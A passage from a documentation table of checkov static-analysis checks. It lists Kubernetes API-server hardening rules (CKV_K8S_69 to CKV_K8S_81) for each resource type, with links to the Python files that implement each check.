--basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7156 | CKV_K8S_69 | resource | ReplicationController | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7157 | CKV_K8S_69 | resource | StatefulSet | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7158 | CKV_K8S_70 | resource | CronJob | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7159 | CKV_K8S_70 | resource | DaemonSet | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7160 | CKV_K8S_70 | resource | Deployment | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7161 | CKV_K8S_70 | resource | DeploymentConfig | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7162 | CKV_K8S_70 | resource | Job | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7163 | CKV_K8S_70 | resource | Pod | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7164 | CKV_K8S_70 | resource | PodTemplate | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7165 | CKV_K8S_70 | resource | ReplicaSet | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7166 | CKV_K8S_70 | resource | ReplicationController | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7167 | CKV_K8S_70 | resource | StatefulSet | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 7168 | CKV_K8S_71 | resource | CronJob | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7169 | CKV_K8S_71 | resource | DaemonSet | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7170 | CKV_K8S_71 | resource | Deployment | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7171 | CKV_K8S_71 | resource | DeploymentConfig | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7172 | CKV_K8S_71 | resource | Job | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7173 | CKV_K8S_71 | resource | Pod | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7174 | CKV_K8S_71 | resource | PodTemplate | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7175 | CKV_K8S_71 | resource | ReplicaSet | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7176 | CKV_K8S_71 | resource | ReplicationController | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7177 | CKV_K8S_71 | resource | StatefulSet | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 7178 | CKV_K8S_72 | resource | CronJob | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7179 | CKV_K8S_72 | resource | DaemonSet | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7180 | CKV_K8S_72 | resource | Deployment | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7181 | CKV_K8S_72 | resource | DeploymentConfig | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7182 | CKV_K8S_72 | resource | Job | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7183 | CKV_K8S_72 | resource | Pod | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7184 | CKV_K8S_72 | resource | PodTemplate | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7185 | CKV_K8S_72 | resource | ReplicaSet | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7186 | CKV_K8S_72 | resource | ReplicationController | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7187 | CKV_K8S_72 | resource | StatefulSet | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 7188 | CKV_K8S_73 | resource | CronJob | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7189 | CKV_K8S_73 | resource | DaemonSet | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7190 | CKV_K8S_73 | resource | Deployment | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7191 | CKV_K8S_73 | resource | DeploymentConfig | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7192 | CKV_K8S_73 | resource | Job | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7193 | CKV_K8S_73 | resource | Pod | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7194 | CKV_K8S_73 | resource | PodTemplate | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7195 | CKV_K8S_73 | resource | ReplicaSet | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7196 | CKV_K8S_73 | resource | ReplicationController | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7197 | CKV_K8S_73 | resource | StatefulSet | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 7198 | CKV_K8S_74 | resource | CronJob | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7199 | CKV_K8S_74 | resource | DaemonSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7200 | CKV_K8S_74 | resource | Deployment | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7201 | CKV_K8S_74 | resource | DeploymentConfig | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7202 | CKV_K8S_74 | resource | Job | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7203 | CKV_K8S_74 | resource | Pod | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7204 | CKV_K8S_74 | resource | PodTemplate | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7205 | CKV_K8S_74 | resource | ReplicaSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7206 | CKV_K8S_74 | resource | ReplicationController | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7207 | CKV_K8S_74 | resource | StatefulSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 7208 | CKV_K8S_75 | resource | CronJob | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7209 | CKV_K8S_75 | resource | DaemonSet | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7210 | CKV_K8S_75 | resource | Deployment | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7211 | CKV_K8S_75 | resource | DeploymentConfig | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7212 | CKV_K8S_75 | resource | Job | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7213 | CKV_K8S_75 | resource | Pod | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7214 | CKV_K8S_75 | resource | PodTemplate | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7215 | CKV_K8S_75 | resource | ReplicaSet | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7216 | CKV_K8S_75 | resource | ReplicationController | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7217 | CKV_K8S_75 | resource | StatefulSet | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 7218 | CKV_K8S_77 | resource | CronJob | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7219 | CKV_K8S_77 | resource | DaemonSet | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7220 | CKV_K8S_77 | resource | Deployment | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7221 | CKV_K8S_77 | resource | DeploymentConfig | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7222 | CKV_K8S_77 | resource | Job | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7223 | CKV_K8S_77 | resource | Pod | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7224 | CKV_K8S_77 | resource | PodTemplate | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7225 | CKV_K8S_77 | resource | ReplicaSet | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7226 | CKV_K8S_77 | resource | ReplicationController | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7227 | CKV_K8S_77 | resource | StatefulSet | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 7228 | CKV_K8S_78 | resource | AdmissionConfiguration | Ensure that the admission control plugin EventRateLimit is set | Kubernetes | [ApiServerAdmissionControlEventRateLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlEventRateLimit.py) | | 7229 | CKV_K8S_79 | resource | CronJob | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7230 | CKV_K8S_79 | resource | DaemonSet | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7231 | CKV_K8S_79 | resource | Deployment | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7232 | CKV_K8S_79 | resource | DeploymentConfig | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7233 | CKV_K8S_79 | resource | Job | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7234 | CKV_K8S_79 | resource | Pod | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7235 | CKV_K8S_79 | resource | PodTemplate | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7236 | CKV_K8S_79 | resource | ReplicaSet | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7237 | CKV_K8S_79 | resource | ReplicationController | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7238 | CKV_K8S_79 | resource | StatefulSet | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 7239 | CKV_K8S_80 | resource | CronJob | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7240 | CKV_K8S_80 | resource | DaemonSet | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7241 | CKV_K8S_80 | resource | Deployment | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7242 | CKV_K8S_80 | resource | DeploymentConfig | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7243 | CKV_K8S_80 | resource | Job | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7244 | CKV_K8S_80 | resource | Pod | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7245 | CKV_K8S_80 | resource | PodTemplate | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7246 | CKV_K8S_80 | resource | ReplicaSet | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7247 | CKV_K8S_80 | resource | ReplicationController | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7248 | CKV_K8S_80 | resource | StatefulSet | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 7249 | CKV_K8S_81 | resource | CronJob | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7250 | CKV_K8S_81 | resource | DaemonSet | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7251 | CKV_K8S_81 | resource | Deployment | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7252 | CKV_K8S_81 | resource | DeploymentConfig | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7253 | CKV_K8S_81 | resource | Job | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7254 | CKV_K8S_81 | resource | Pod | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7255 | CKV_K8S_81 | resource | PodTemplate | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7256 | CKV_K8S_81 | resource | ReplicaSet | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7257 | CKV_K8S_81 | resource | ReplicationController | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7258 | CKV_K8S_81 | resource | StatefulSet | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 7259 | 